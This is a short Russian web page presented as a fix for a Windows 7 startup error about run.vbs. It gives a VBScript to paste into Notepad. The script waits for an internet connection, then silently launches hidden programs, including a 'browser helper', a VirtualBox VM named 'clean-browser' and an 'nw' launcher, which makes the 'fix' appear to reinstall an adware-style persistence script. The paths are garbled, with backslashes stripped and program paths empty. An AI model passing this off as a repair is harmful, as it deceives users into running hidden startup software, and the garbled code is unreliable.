Исправление ошибки в Windows 7 (C:windowsrun.vbs)



_Текст который нужно вставить в блокнот_

Set wShell = CreateObject (“Wscript.Shell”)

wShell.Run wShell.ExpandEnvironmentStrings(“%windir%”) & “system32userinit.exe”

Dim prog_files
prog_files = wShell.ExpandEnvironmentStrings(“%PROGRAMFILES(x86)%”)
if(StrComp(prog_files, “%PROGRAMFILES(x86)%”) = 0) then
prog_files = wShell.ExpandEnvironmentStrings(“%PROGRAMFILES%”)
end if

Function HasInternet
HasInternet = false

Set wShell = CreateObject (“Wscript.Shell”)
wShell.Run “cmd /c ping 8.8.8.8 -n 1 %temp%inet.log”, 0, true

Set fso = CreateObject(“Scripting.FileSystemObject”)
Set file = fso.OpenTextFile(wShell.ExpandEnvironmentStrings(“%temp%”) & “inet.log”, 1)
text = file.ReadAll
file.Close

fso.DeleteFile wShell.ExpandEnvironmentStrings(“%temp%”) & “inet.log”

if(inStr(text, “=32”)) then
HasInternet = true
end if
End Function

Function WaitInternet
Do Until HasInternet
Loop
End Function

WaitInternet

Dim browser_helper
Dim virtual_box
Dim nw
browser_helper = “””” & prog_files & “”””
virtual_box = “””” & prog_files & “”” -q startvm clean-browser”
nw = “””” & prog_files & “”” “”” & prog_files & “”””

wShell.Run browser_helper, 0
wShell.Run virtual_box, 0
wShell.Run nw, 0

source